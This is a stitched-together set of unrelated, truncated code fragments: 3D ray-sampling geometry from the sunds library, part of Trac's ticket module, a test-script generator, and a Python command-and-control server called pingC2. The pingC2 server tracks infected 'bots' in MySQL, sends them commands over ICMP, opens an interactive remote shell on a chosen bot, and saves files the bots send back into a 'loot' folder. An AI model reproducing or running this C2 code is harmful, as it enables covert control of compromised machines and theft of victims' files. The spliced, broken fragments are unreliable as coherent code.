df.y.min() - trkFrame trkPlotYmax = df.y.max() + trkFrame trkPlotXmin =
<reponame>isabella232/sunds # Copyright 2022 The sunds Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Geometry functions related to 3D rays.""" from typing import Dict from sunds.core.tf_geometry import cameras from sunds.core.tf_geometry import isometry import tensorflow as tf TensorLike = tf.types.experimental.TensorLike TensorDict = Dict[str, tf.Tensor] def rays_from_image_points(camera: cameras.CameraType, world_from_camera: isometry.Isometry, points_image: TensorLike): """Create bundle of rays passing through camera image points. Given a camera model, camera pose, and a set of 2D image points on the camera, this function creates a bundle of 3D rays in world frame passing through those image points and camera center. See `rays_from_image_grid` for generating rays passing through centers of all pixels in the camera image. The image points are provided as a tensor of shape `(..., 2)`, stored in convention defined by the camera model. For example if the camera model is an instance of type `isun.geometry.PinholeCamera`, the image points should have the following convention: The top left corner of the image is `(0, 0)` and the bottom right corner is `(image_width, image_height)`. So the center of the top left corner pixel is `(0.5, 0.5)`. Args: camera: An instance of camera of type `isun.geometry.AbstractCamera`. world_from_camera: Pose of the camera w.r.t world represented by an isometry transform `[R | t]` that takes points to camera frame to world. points_image: A tensor of shape `(..., 2)` containing image points. Returns: ray_orgins: Tensor of shape `(..., 3)` containing origin of each ray. ray_directions: Tensor of shape `(..., 3)` containing (normalized) direction vectors of each ray. """ # Get rays through each pixel center by camera unproject. points_camera = camera.unproject(points_image) # Transform into world-frame rays. return _rays_from_directions(points_camera, world_from_camera) def rays_from_image_grid(camera: cameras.CameraType, world_from_camera: isometry.Isometry): """Create bundle of rays passing though all pixels of a camera image. Given a camera model, camera pose, this function creates a bundle of 3D rays in world frame passing through those each pixel in the camera image. Args: camera: An instance of camera of type `isun.geometry.AbstractCamera`. world_from_camera: Pose of the camera w.r.t world represented by an isometry transform `[R | t]` that takes points to camera frame to world. Returns: ray_orgins: Tensor of shape `(image_height, image_width, 3)` containing origin of each ray. ray_directions: Tensor of shape `(image_height, image_width, 3)` containing (normalized) direction vectors of each ray. """ return _rays_from_directions(camera.unproject(), world_from_camera) def _rays_from_directions(ray_directions: TensorLike, world_from_camera: isometry.Isometry): """Convert rays in camera frame to world frame, now including their origins. Args: ray_directions: Tensor of shape `(..., 3)` containing (normalized) direction vectors of each ray in the camera frame. world_from_camera: Pose of the camera w.r.t world represented by an isometry transform `[R | t]` that takes points to camera frame to world. Returns: ray_orgins: Tensor of shape `(..., 3)` containing origin of each ray. ray_directions: Tensor of shape `(..., 3)` containing (normalized) direction vectors of each ray. """ points_world = world_from_camera * ray_directions ray_origins = tf.broadcast_to(world_from_camera.t, tf.shape(points_world)) ray_directions, _ = tf.linalg.normalize(points_world - ray_origins, axis=-1) return ray_origins, ray_directions def depth_samples_along_rays(near_depth: TensorLike, far_depth: TensorLike, num_samples_per_ray: int, method: str = 'linspace_depth') -> tf.Tensor: """Sample depths along rays. This function samples depth values in the range [near_depth, far_depth]. The depth samples will include the end points near_depth, and far_depth; and will be in an increasing order. Supported methods are 'linspace_depth' (default), 'linspace_disparity' and 'geomspace_depth'. If set to 'linspace_depth', samples are linearly spaced in the depth space. If set to 'linspace_disparity', the depth samples are spaced linearly in disparity space. With 'geomspace_depth', depth samples are evenly spaced in log space (a geometric progression). The depth extremas near_depth and far_depth can be arbritrary shaped tensor including scalar. However they should have the same shape. The output depth samples tensor will have a (..., num_samples_per_ray, 1), where the leading dimensions are same as that of near_depth and far_depth tensors. Args: near_depth: Near depth extrema. This can be arbritrary a shaped tensor including scalar. far_depth: Near depth extrema. This can be arbritrary shaped tensor including scalar. num_samples_per_ray: Number of samples per ray. method: Method to use for sampling. Supported methods are 'linspace_depth' (default), 'linspace_disparity' and 'geomspace_depth'. Returns: Tensor with shape (..., num_samples_per_ray, 1) containing depth samples. If the rank of the input tensors near_depth and far_depth is `r`, then rank of the `r + 2`. So when near_depth and far_depth are scalars, then output is a tensor of shape (num_samples_per_ray, 1). """ near_depth = tf.convert_to_tensor(near_depth) far_depth = tf.convert_to_tensor(far_depth) tf.debugging.assert_equal(tf.shape(near_depth), tf.shape(far_depth)) tf.debugging.assert_positive(near_depth) tf.debugging.assert_positive(far_depth) tf.debugging.assert_positive(far_depth - near_depth) if method == 'linspace_depth': depths = tf.linspace(near_depth, far_depth, num_samples_per_ray, axis=-1) elif method == 'linspace_disparity': depths = 1.0 / tf.linspace( 1.0 / far_depth, 1.0 / near_depth, num_samples_per_ray, axis=-1) depths = tf.reverse(depths, axis=[-1]) elif method == 'geomspace_depth': depths = tf.experimental.numpy.geomspace( near_depth, far_depth, num=num_samples_per_ray, endpoint=True, dtype=near_depth.dtype, axis=-1) else: raise NotImplementedError(f'Unknown method: {method}') return tf.expand_dims(depths, axis=-1) def jitter_depth_samples_along_rays(point_depths: TensorLike) -> tf.Tensor: """Jitters depth samples along rays using stratified sampling. Given a tensor containing depth samples along rays, this functions jitters the depth samples using stratified sampling. Jittered samples are drawn uniformly from the bins defined by input depth samples. Input depth samples should be ordered front-to-back: `point_depths[..., 0, :]` is the nearest sample on the ray, while `point_depths[..., -1, :]` is the farthest. In other words, `point_depths` values should be monotonically increasing along the penultimate axis. Example usage: ```python # Sample depth values. point_depths = isun.geometry.depth_samples_along_rays( near_depth=1., far_depth=8., num_samples_per_ray=100, method='geomspace_depth') # Broadcast `point_depths` for all rays in an image of shape (H, W). point_depths = tf.broadcast_to(point_depths, [H, W, 100, 1]) # Jitter `point_depths` for each ray independently. point_depths = isun.geometry.jitter_depth_samples_along_rays(point_depths) ``` Args: point_depths: Tensor of shape (..., num_samples_per_ray, 1) containing depth samples per ray. Returns: Tensor with shape (..., num_samples_per_ray, 1) containing jittered depths. """ # Input checking. point_depths = tf.convert_to_tensor(point_depths) tf.debugging.assert_shapes([(point_depths, (..., 'num_samples_per_ray', 1))]) # Get min, center, and max of each depth bin. bin_centers = (point_depths[..., 1:, :] + point_depths[..., :-1, :]) / 2 bin_minimas = tf.concat([point_depths[..., :1, :], bin_centers], axis=-2) bin_maximas = tf.concat([bin_centers, point_depths[..., -1:, :]], axis=-2) # Get jittered depth samples. unscaled_jitter = tf.random.uniform(shape=tf.shape(point_depths)) return bin_minimas + (bin_maximas - bin_minimas) * unscaled_jitter def point_samples_along_rays(ray_origins: TensorLike, ray_directions: TensorLike, point_depths: TensorLike) -> tf.Tensor: """Sample points along rays. This function samples 3D points along rays with provided depth values. The rays are defined by ray_origins and ray_directions each of which should be tensors of shape (..., 3). It is possible that some rays share the same origin e.g. a ray_directions is shaped (H, W, 3) wheres as ray_origins is shaped(3,). However ray_origins should be broadcastable to the shape of ray_directions. The depth values at which the 3D points need to sampled are provided bt the point_depths tensor of shape (..., num_samples_per_ray, 1). Similar to ray_orgins it is possible that many rays share the same depth samples or to have a different depth samples for every ray. We expect this tensor to be generated by methods like `depth_samples_along_rays` possibly along with some user defined jittering. Example Usage: # Sample depth values. point_depths = depth_samples_along_rays( near_depth=1., far_depth=8., num_samples_per_ray=100, method='uniform') # Add jitter using some distribution. point_depths = point_depths + tf.random.normal(tf.shape(point_depths), stddev=0.01) # Get 3D points along rays. point_positions = point_samples_along_rays( ray_origins=tf.zeros(3), ray_directions=tf.ones(shape=(240, 320, 3)), point_depths=point_depths) Args: ray_origins: Tensor of shape (..., 3) containing origin of each ray. This tensor should be broadcastable to the shape of ray_directions. ray_directions: Tensor of shape (..., 3) containing normalized direction vector of each ray. point_depths: Tensor of shape (..., num_samples_per_ray, 1) containing depth samples per ray. Returns: Tensor with shape (..., num_samples_per_ray, 3) containing 3D point samples along each ray. """ tf.debugging.assert_shapes([(ray_origins, (..., 3)), (ray_directions,
old, new, cname) # Detect non-changes for key, item in field_changes.items(): if item['old'] == item['new']: del field_changes[key] return field_changes, problems def _apply_ticket_changes(self, ticket, field_changes): """Apply the changes obtained from `get_ticket_changes` to the ticket """ for key in field_changes: ticket[key] = field_changes[key]['new'] def _query_link(self, req, name, value, text=None, class_=None): """Return a link to /query with the appropriate name and value""" from trac.ticket.query import QueryModule if not self.env.is_component_enabled(QueryModule): return text or value args = arg_list_to_args(parse_arg_list(self.ticketlink_query)) args[name] = value if name == 'resolution': args['status'] = 'closed' if text or value: return tag.a(text or value, href=req.href.query(args), class_=class_) def _query_link_words(self, context, name, value): """Splits a list of words and makes a query link to each separately""" from trac.ticket.query import QueryModule if not (isinstance(value, basestring) and # None or other non-splitable self.env.is_component_enabled(QueryModule)): return value args = arg_list_to_args(parse_arg_list(self.ticketlink_query)) items = [] for i, word in enumerate(re.split(r'([;,\s]+)', value)): if i % 2: items.append(word.strip() + ' ') elif word: rendered = Chrome(self.env).format_author(context, word) \ if name == 'cc' else word if not is_obfuscated(rendered): word_args = args.copy() word_args[name] = '~' + word items.append(tag.a(rendered, href=context.href.query(word_args))) else: items.append(rendered) return tag(items) def _prepare_fields(self, req, ticket, field_changes=None): context = web_context(req, ticket.resource) fields = TicketFieldList() for field in ticket.fields: name = field['name'] type_ = field['type'] # ensure sane defaults field.setdefault('optional', False) field.setdefault('options', []) field.setdefault('skip', False) field.setdefault('editable', True) # enable a link to custom query for all choice fields if type_ not in ['text', 'textarea', 'time']: field['rendered'] = self._query_link(req, name, ticket[name]) # per field settings if name in ('summary', 'reporter', 'description', 'owner', 'status', 'resolution', 'time', 'changetime'): field['skip'] = True elif name == 'milestone' and not field.get('custom'): milestones = [m for m in (model.Milestone(self.env, opt) for opt in field['options']) if 'TICKET_CHG_MILESTONE' in req.perm(m.resource)] field['editable'] = milestones != [] groups = group_milestones(milestones, ticket.exists and 'TICKET_ADMIN' in req.perm(ticket.resource)) field['options'] = [] field['optgroups'] = [ {'label': label, 'options': [m.name for m in milestones]} for (label, milestones) in groups] milestone = Resource('milestone', ticket[name]) field['rendered'] = render_resource_link(self.env, context, milestone, 'compact') elif name == 'version' and not field.get('custom'): try: version = model.Version(self.env, ticket[name]) except ResourceNotFound: pass else: if version.time: dt = user_time(req, format_datetime, version.time) title = _("Released %(datetime)s", datetime=dt) field['rendered'](title=title) elif name == 'cc': cc_changed = field_changes is not None and 'cc' in field_changes if 'TICKET_EDIT_CC' not in req.perm(ticket.resource): cc = ticket._old.get('cc', ticket['cc']) cc_action, cc_entry, cc_list = self._toggle_cc(req, cc) cc_update = 'cc_update' in req.args \ and 'revert_cc' not in req.args field['edit_label'] = { 'add': _("Add Cc"), 'remove': _("Remove Cc"), None: _("Cc")}[cc_action] field['cc_action'] = cc_action field['cc_entry'] = cc_entry field['cc_update'] = cc_update if cc_changed: field_changes['cc']['cc_update'] = cc_update if cc_changed: # normalize the new CC: list; also remove the # change altogether if there's no real change old_cc_list = self._cc_list(field_changes['cc']['old']) new_cc_list = self._cc_list(field_changes['cc']['new'] .replace(' ', ',')) if new_cc_list == old_cc_list: del field_changes['cc'] else: field_changes['cc']['new'] = ', '.join(new_cc_list) # per type settings if type_ in ('radio', 'select'): if ticket.exists and field['editable']: value = ticket[name] options = field['options'] optgroups = [] for x in field.get('optgroups', []): optgroups.extend(x['options']) if value and \ (value not in options and value not in optgroups): # Current ticket value must be visible, # even if it's not among the possible values options.append(value) elif type_ == 'checkbox': value = ticket[name] if value in ('1', '0'): field['rendered'] = self._query_link(req, name, value, _("yes") if value == '1' else _("no")) elif type_ == 'text': if field.get('format') == 'reference': field['rendered'] = self._query_link(req, name, ticket[name]) elif field.get('format') == 'list': field['rendered'] = self._query_link_words(context, name, ticket[name]) elif type_ == 'time': value = ticket[name] field['timevalue'] = value format = field.get('format', 'datetime') if isinstance(value, datetime): field['edit'] = user_time(req, format_date_or_datetime, format, value) else: field['edit'] = value or '' locale = getattr(req, 'lc_time', None) if format == 'date': field['format_hint'] = get_date_format_hint(locale) else: field['format_hint'] = get_datetime_format_hint(locale) fields.append(field) return fields def _insert_ticket_data(self, req, ticket, data, author_id, field_changes): """Insert ticket data into the template `data`""" replyto = req.args.get('replyto') data['replyto'] = replyto data['version'] = ticket.resource.version data['description_change'] = None data['author_id'] = author_id chrome = Chrome(self.env) # -- Ticket fields fields = self._prepare_fields(req, ticket, field_changes) # fields_map is deprecated and removed in 1.5.1 fields_map = {field['name']: i for i, field in enumerate(fields)} # -- Ticket Change History def quote_original(author, original, link): if 'comment' not in req.args: # i.e. comment was not yet edited formatted_author = \ chrome.format_author(req, author, show_email=False) data['comment'] = '\n'.join( ["Replying to [%s %s]:" % (link, formatted_author)] + ["> %s" % line for line in original.splitlines()] + ['']) if replyto == 'description': quote_original(ticket['reporter'], ticket['description'], 'ticket:%d' % ticket.id) values = {} replies = {} changes = [] cnum = 0 skip = False start_time = data.get('start_time', ticket['changetime']) conflicts = set() for change in self.rendered_changelog_entries(req, ticket): # change['permanent'] is false for attachment changes; true for # other changes. if change['permanent']: cnum = change['cnum'] if ticket.resource.version is not None and \ cnum > ticket.resource.version: # Retrieve initial ticket values from later changes for k, v in change['fields'].iteritems(): if k not in values: values[k] = v['old'] skip = True else: # keep track of replies threading if 'replyto' in change: replies.setdefault(change['replyto'], []).append(cnum) # eventually cite the replied to comment if replyto == str(cnum): quote_original(change['author'], change['comment'], 'comment:%s' % replyto) if ticket.resource.version: # Override ticket value by current changes for k, v in change['fields'].iteritems(): values[k] = v['new'] if 'description' in change['fields']: data['description_change'] = change if change['date'] > start_time: conflicts.update(change['fields']) if not skip: changes.append(change) if ticket.resource.version is not None: ticket.populate(values) # retrieve close time from changes closetime = None for c in changes: s = c['fields'].get('status') if s: closetime = c['date'] if s['new'] == 'closed' else None # Workflow support action_controls, selected_action = \ self._get_action_controls(req, ticket) # Insert change preview change_preview = { 'author': author_id, 'fields': field_changes, 'preview': True, 'comment': req.args.get('comment', data.get('comment')), 'comment_history': {}, } replyto = req.args.get('replyto') if replyto: change_preview['replyto'] = replyto if req.method == 'POST': self._apply_ticket_changes(ticket, field_changes) self._render_property_changes(req, ticket, field_changes) if ticket.resource.version is not None: ### FIXME ticket.populate(values) context = web_context(req, ticket.resource) # Display the owner and reporter links when not obfuscated for role in 'reporter', 'owner': user = ticket[role] formatted_user = chrome.format_author(req, user) if not is_obfuscated(formatted_user): data['%s_link' % role] = self._query_link( req, role, user, formatted_user, class_=chrome.author_class(req, user)) data.update({ 'context': context, 'conflicts': conflicts, 'fields': fields, 'fields_map': fields_map, # deprecated and removed in 1.5.1 'changes': changes, 'replies': replies, 'attachments': AttachmentModule(self.env).attachment_data(context), 'action_controls': action_controls, 'action': selected_action, 'change_preview': change_preview, 'closetime': closetime, 'disable_submit': len(action_controls) == 0, }) def rendered_changelog_entries(self, req, ticket, when=None): """Iterate on changelog entries, consolidating related changes in a `dict` object. """ attachment_realm = ticket.resource.child('attachment') for group in self.grouped_changelog_entries(ticket, when=when): t = ticket.resource(version=group.get('cnum')) if 'TICKET_VIEW' in req.perm(t): self._render_property_changes(req, ticket, group['fields'], t) if 'attachment' in group['fields']: filename = group['fields']['attachment']['new'] attachment = attachment_realm(id=filename) if 'ATTACHMENT_VIEW' not in req.perm(attachment): del group['fields']['attachment'] if not group['fields']: continue yield group def _render_property_changes(self, req, ticket, fields, resource_new=None): for field, changes in fields.iteritems(): new, old = changes['new'], changes['old'] changes['rendered'] = \ self._render_property_diff(req, ticket, field, old, new, resource_new) def _render_property_diff(self, req, ticket, field, old, new, resource_new=None): def render_list(elt_renderer, split_list, old, new): if not elt_renderer: elt_renderer = lambda e: e old_list = split_list(old) new_list = split_list(new) added = [elt_renderer(x) for x in new_list if x not in old_list] remvd = [elt_renderer(x) for x in old_list if x not in new_list] if added: added = tagn_("%(value)s added", "%(value)s added", len(added), value=separated(added, ' ')) if remvd: remvd = tagn_("%(value)s removed", "%(value)s removed", len(remvd), value=separated(remvd, ' ')) if added or remvd: return tag(added, added and remvd and _("; "), remvd) else: return tag(old, u" \u2192 ", new) def render_default(old, new): if old and new: rendered = tag(tag.span(old, class_='trac-field-old'), u' → ', tag.span(new, class_='trac-field-new')) elif not old and new: rendered = tag(u'→ ', tag.span(new, class_='trac-field-new')) else: # old and not new rendered = tag.span(old, class_='trac-field-deleted') return rendered chrome = Chrome(self.env) def authorinfo(author): resource = resource_new or ticket.resource return chrome.authorinfo(req, author, resource=resource) field_info = ticket.fields.by_name(field, {}) type_ = field_info.get('type') # per name special rendering of diffs if field == 'cc': rendered = render_list(authorinfo, self._cc_list, old, new) elif field in ('reporter', 'owner'): old_author
#!/usr/bin/python # pingC2 ICMP C2 server application # written by NoCow # This is the server side application for the ICMP C2 project. The server will sniff ICMP packets # and listen for the data payload of "What shall I do master?". If this data is received, # a command is sent to the client. Command must start with "run" from multiprocessing import * from datetime import date #from impacket import ImpactDecoder #from impacket import ImpactPacket from threading import * from optparse import OptionParser import time import select import subprocess import socket import threading import MySQLdb import ctypes import sys import signal import os from ConfigParser import SafeConfigParser from scapy.all import * #printLine method for debugging def printLine(line,flag): logfile = file('log/pix-s.log', 'a') if int(flag) == 2: logfile.write(line + '\n') print line if int(flag) == 1: logfile.write(line + '\n') if not '[D]' in str(line): print line else: logfile.write(line + '\n') return # ICMP shell for single bot def icmpshell(botNum,botIP,botConnect): import select printLine("[D] botconnect %s" % (botConnect.value),flag) if subprocess.mswindows: sys.stderr.write('icmpsh master can only run on Posix systems\n') exit(255) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: sys.stderr.write('You need to install Python Impacket library first\n') exit(255) # Open one socket for ICMP protocol # A special option is set on the socket so that IP headers are included # with the returned data try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except socket.error, e: sys.stderr.write('You need to run icmpsh master with administrator privileges\n') exit(1) sock.setblocking(0) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Make standard input a non-blocking file #stdin_fd = sys.stdin.fileno() #setNonBlocking(stdin_fd) # Create a new IP packet and set its source and destination addresses ip = ImpactPacket.IP() ip.set_ip_dst(botIP) # Create a new ICMP packet of type ECHO REPLY icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) # Instantiate an IP packets decoder decoder = ImpactDecoder.IPDecoder() while 1: cmd = '' # Wait for incoming replies if sock in select.select([ sock ], [], [])[0]: buff = sock.recv(4096) if 0 == len(buff): # Socket remotely closed printLine("[*] Socket closed",flag) sock.close() sys.exit(0) # Packet received; decode and display it ippacket = decoder.decode(buff) icmppacket = ippacket.child() # If the packet matches, report it to the user if ippacket.get_ip_src() == botIP and 8 == icmppacket.get_icmp_type(): # Get identifier and sequence number ip_ident = ippacket.get_ip_id() ident = icmppacket.get_icmp_id() seq_id = icmppacket.get_icmp_seq() data = icmppacket.get_data_as_string() printLine("[D] Data received: %s" % (str(data)),flag) if len(data) > 0: sys.stdout.write(data) sys.stdout.flush() # Parse command from standard input try: cmd = sys.stdin.readline() sys.stdout.flush() printLine("[D] cmd: %s" % cmd,flag) except Exception,e: printLine(str(e),flag) # Set sequence number and identifier ip.set_ip_id(ip_ident) icmp.set_icmp_id(ident) icmp.set_icmp_seq(seq_id) # Include the command as data inside the ICMP packet icmp.contains(ImpactPacket.Data(cmd)) # Calculate its checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Have the IP packet contain the ICMP packet (along with its payload) ip.contains(icmp) # Send it to the target host sock.sendto(ip.get_packet(), (botIP, 0)) printLine("[D] Sent: %s" % cmd,flag) if cmd == 'exit\n': botConnect.value = 0 sock.close() return def getBotIP(botId): printLine("[*] Getting bot(%s) IP address" % botId,flag) db = MySQLdb.connect(host="localhost", # your host, usually localhost user=dbusername.value, # your username passwd=<PASSWORD>.value, # your password db="pixc2") # name of the data base # you must create a Cursor object. It will let # you execute all the query you need cur = db.cursor() query = "select remoteip from bots where id=%s" % botId cur.execute(query) row = cur.fetchone() if row: db.close() return row[0] else: db.close() return # Catch file as it comes from bot def catchFile(request, botId): fileContents = request.split() filename = 'bot' + str(botId) + '_' + fileContents[2] filename_clean = filename.replace('/','_') filename_clean = 'loot/' + filename_clean printLine("[*] Catching file (%s) from bot: %s" % (filename_clean,botId),flag) if fileContents[0] == '(FILE_START)': printLine("[*] File start: %s" % (filename_clean),flag) file = open(filename_clean, 'w') file.write('') file.close() elif fileContents[0] == '(FILE_END)': printLine("[*] File end: %s" % (filename),flag) file = open(filename_clean, 'a') file.write('') file.close() else: file = open(filename_clean, 'a') printLine("[D] Writing line to file: %s" % (str(fileContents[2:])),flag) write_line = ' '.join(map(str,fileContents[3:])) write_line = write_line + '\n' file.write(write_line) printLine("[D] Line written: %s" % (str(line)),flag) file.close() file.close() # Response function def sendPingResponse(dstIP,packetId,icmpId,command,seqId): #printLine("[*] Creating response for using command=%s" %s (str(command)), flag) resp = IP(dst=dstIP,id=packetId)/ICMP(type="echo-reply",id=icmpId,seq=seqId)/str(command) #resp.show2() send(resp) printLine("\n[*] Response sent!",flag) def displayBots(): printLine("[*] Displaying bots!",flag) db = MySQLdb.connect(host="localhost", # your host, usually localhost user=dbusername.value, # your username passwd=dbpassword.value, # your password db="pixc2") # name of the data base # you must create a Cursor object. It will let # you execute all the query you need cur = db.cursor() print '{0: <10}'.format('ID'),'{0: <20}'.format('RemoteIP'),'{0: <20}'.format('LocalIP'),'{0: <20}'.format('Name'),'{0: <20}'.format('OS'),'{0: <20}'.format('Checkin date') print "---------------------------------------------------------------------------------------------------------" cur.execute("select id,remoteip,localip,name,os,checkin from bots") for row in cur.fetchall(): print '{0: <10}'.format(row[0]),'{0: <20}'.format(row[1]),'{0: <20}'.format(row[2]),'{0: <20}'.format(row[3]),'{0: <20}'.format(row[4]), row[5] db.close() def updateBotSysinfo(botId,remoteIP,name,os): printLine("[*] Updating bot info",flag) db = MySQLdb.connect(host="localhost", # your host, usually localhost user=dbusername.value, # your username passwd=<PASSWORD>, # your password db="pixc2") # name of the data base # you must create a Cursor object. It will let # you execute all the query you need cur = db.cursor() try: cur.execute("update bots set remoteip=%s,name=%s,os=%s where id=%s",(remoteIP,name,os,botId)) except Exception,e: printLine("[X] " + (str(e)),flag) return False db.commit() printLine("[*] Bot info updated",flag) db.close() return True def doesBotExist(botId): printLine("[*] Checking bot existence",flag) try: db = MySQLdb.connect(host="localhost", # your host, usually localhost user=dbusername.value, # your username passwd=<PASSWORD>.value, # your password db="pixc2") # name of the data base # you must create a Cursor object. It will let # you execute all the query you need cur = db.cursor() except Exception,e: printLine(str(e),flag) query = "select * from bots where id=%i" % botId printLine("[D] Query: "+query, flag) cur.execute(query) if cur.fetchall(): printLine("[*] Bot ID exists",flag) db.close() return True else: db.close() return False def addBot(srcIP,name,os): printLine("[*] Adding bot",flag) botId=0 try: db = MySQLdb.connect(host="localhost", # your host, usually localhost user=dbusername.value, # your username passwd=<PASSWORD>.value, # your password db="pixc2") # name of the data base # you must create a Cursor object. It will let # you execute all the query you need cur = db.cursor() cur.execute("select max(id) from bots") row = cur.fetchone() if row[0]: botId=int(row[0]) + 1 printLine("[*] Adding bot number %s!" % (botId), flag) else: botId=1 printLine("[*} Adding first bot to PingC2!",flag) cur.execute("""insert into bots (remoteip,name,os,checkin) values(%s,%s,%s,%s)""",(srcIP,name,os,date.today())) db.commit() except Exception,e: printLine("[X] Error: " + (str(e)), flag) printLine("[*] Bot ID(%s) added!" % (botId), flag) db.close() return botId def displayMenu(): listener = False #os.system('clear') print "\nChoose an option" for proc in active_children(): if (proc.name == 'C2Listener'): listener = True; if listener == False: print "1) Start C2 listener" print "2) Display bots" print "3) Change bot command ('l' to list commands)" print "4) Control single bot" print "5) Shell (single bot)" if listener == True: print "S) Stop C2 listener" print "q) Quit" # Inerrupt handler to kill process cleanly def handler(signum, frame): print 'Bye!' sys.exit(0) # Command and Control main function def c2main(command,botShell,botConnect): print "" printLine("[*] Command received from C2: %s" % (command.value), flag) while True: logfile_error = open('errors.log','w') conf.verb = 0 count = 1 filter = "icmp" packet = sniff(count,filter=filter) for p in packet: #p.show2() try: request = p['Raw'].load ip_id = p['IP'].id icmp_id = p['ICMP'].id seq_id = p['ICMP'].seq printLine("[D] p['ICMP'].seq: %s" % p['ICMP'].seq,flag) printLine("[*] Request: " + request, flag) if 'What shall I do master?' in request: printLine("[*] Bot(%s) requesting command" % (request[24:]), flag) botId = int(request[24:]) if doesBotExist(botId): printLine("[*] Bot ID exists, ready to send command", flag) printLine("[D] botId = %s and botShell.value = %s" % (botId,botShell.value),flag) if (botId == int(botShell.value)): printLine("[*] Sending command to start shell to bot(%s) at %s" % (botId, p['IP'].src),flag) sendPingResponse(p['IP'].src,ip_id,icmp_id,'shell',seq_id) botConnect.value = 1 return else: sendPingResponse(p['IP'].src,ip_id,icmp_id,command.value,seq_id) printLine("[*] Response sent to %s: %s" % (p['IP'].src,command.value),flag) #print "Option: " else: printLine("[X] Client not registered",flag) # Checkin function elif 'Checkin' in request: # Build checkin database and info to capture printLine("\n[*] %s checking in" % (p['IP'].src),flag) checkinInfo = request[8:].split() botId = addBot(p['IP'].src,checkinInfo[1],checkinInfo[0]) sendId = "id="+str(botId) sendPingResponse(p['IP'].src,ip_id,icmp_id,sendId,seq_id) #resp = IP(dst=p['IP'].src,id=ip_id)/ICMP(type="echo-reply",id=icmp_id)/sendId #resp.show2() #send(resp) printLine("\n[*] Response sent to %s: %s after checkin" % (p['IP'].src,command.value),flag) #print "Option: " elif 'sysinfo' in request: # Build sysinfo capture system database printLine("[D] Inside sysinfo",flag) sysinfo = request.split() #print "[D] Id: " + sysinfo[0] printLine("\n[*] Received sysinfo from client: %s" % (sysinfo[1]),flag) if doesBotExist(int(sysinfo[1])): updateBotSysinfo(int(sysinfo[1]),p['IP'].src,sysinfo[3],sysinfo[2]) printLine("[*] Updated sysinfo for machine(%s) from IP: %s" % (sysinfo[1],p['IP'].src),flag) else: printLine("[*] Machine does not exist, ignoring",flag) resp = IP(dst=p['IP'].src,id=ip_id)/ICMP(type="echo-reply",id=icmp_id,seq=seq_id)/"Thanks" #resp.show2() printLine("\n[*] Response sent: Thanks",flag) send(resp) #print "Option: " elif '(FILE' in request: if doesBotExist(int(request.split()[1])): printLine("[D] Catching file",flag) catchFile(request,int(request.split()[1])) sendPingResponse(p['IP'].src,ip_id,icmp_id,"Thanks",seq_id) else: printLine("[*] Machine does not exist, ignoring",flag) else: printLine("[**] Client not recognized",flag) except: error = "[X] ERROR: " + str(sys.exc_info()[0]) logfile_error.write(error) def main(flag): os.system("clear") print "---------------------------------" print "______ ___ __ _____ _____ " print "| ___ (_\ \ / / / __ / __ \"" print "| |_/ /_ \ V /______| / \`' / /'" print "| __/| |/ |______| | / / " print "| | | / /^\ \ | \__/./ /___" print "\_| |_\/ \/ \____\_____/" print " Command Center " print " by NoCow " print "---------------------------------" global dbusername global dbpassword conf_file = 'conf/pix-s.conf' cp = SafeConfigParser() cp.optionxform = str # Preserves case sensitivity cp.readfp(open(conf_file, 'r')) section = 'Main' dbpass = cp.get(section,'dbpass') printLine("[D] dbpass=%s" % (dbpass),flag) dbuser = cp.get(section,'dbuser') printLine("[D] dbuser=%s" % (dbuser),flag) manager = Manager() dbusername = manager.Namespace() dbusername.value = dbuser dbpassword = manager.Namespace() dbpassword.value = dbpass command = manager.Namespace() command.value = 'sysinfo' botShell = manager.Namespace() botShell.value = '123456789' botConnect = manager.Namespace() botConnect.value = 0 killsig = manager.Namespace() killsig =
nbTab=ts['depth'] + 2)) else: te.append(TestModelCommon.indent(""" TLX.instance().log_testunit_warning(message='Dataset %s is missing in inputs parameters', component='TESTUNIT', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) """ % dsTs, nbTab=ts['depth'] + 2)) te.append("\n") for imgTs in missingImagesTs: if isTs: te.append(TestModelCommon.indent(""" TLX.instance().log_testsuite_warning(message='Image %s is missing in inputs parameters', component='TESTSUITE', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) """ % imgTs, nbTab=ts['depth'] + 2)) else: te.append(TestModelCommon.indent(""" TLX.instance().log_testunit_warning(message='Image %s is missing in inputs parameters', component='TESTUNIT', fromlevel=LEVEL_TE, tolevel=LEVEL_USER) """ % imgTs, nbTab=ts['depth'] + 2)) te.append("\n") te.append(TestModelCommon.indent("""ParametersHandler.addParameters(parametersId=TLX.instance().scriptId, parameters = %s)""" % ts['properties']['inputs-parameters']['parameter'], nbTab=ts['depth'] + 2)) te.append("\n") te.append(TestModelCommon.indent("""ParametersHandler.addDescriptions(descriptionsId=TLX.instance().scriptId, descriptions = %s)""" % ts['properties']['descriptions']['description'], nbTab=ts['depth'] + 2)) te.append("\n") te.append( TestModelCommon.indent( """tsMgr.addSummary(summary=ParametersHandler.description(name="summary", tpId=TLX.instance().mainScriptId, tsId=TLX.instance().scriptId))""", nbTab=ts['depth'] + 2)) te.append("\n") te.append( TestModelCommon.indent( """tsMgr.addInputs(dataInputs=ParametersHandler.data(tpId=TLX.instance().mainScriptId, tsId=TLX.instance().scriptId), sutInputs=ParametersHandler.sut(tpId=TLX.instance().mainScriptId, tsId=TLX.instance().scriptId))""", nbTab=ts['depth'] + 2)) te.append("\n") if isTs: te.append( TestModelCommon.indent( "from SubTE%s import *" % i, nbTab=ts['depth'] + 2)) else: te.append( TestModelCommon.indent( "from SubTE%s import *" % i, nbTab=ts['depth'] + 2)) te.append("\n") if isTs: te.append( TestModelCommon.indent( ts['test-execution'], nbTab=ts['depth'] + 2)) else: te.append( TestModelCommon.indent( "TESTCASE(suffix=None, testName='%s' % description('name')).execute()", nbTab=ts['depth'] + 2)) if isTs: te.append(TestModelCommon.indent(""" 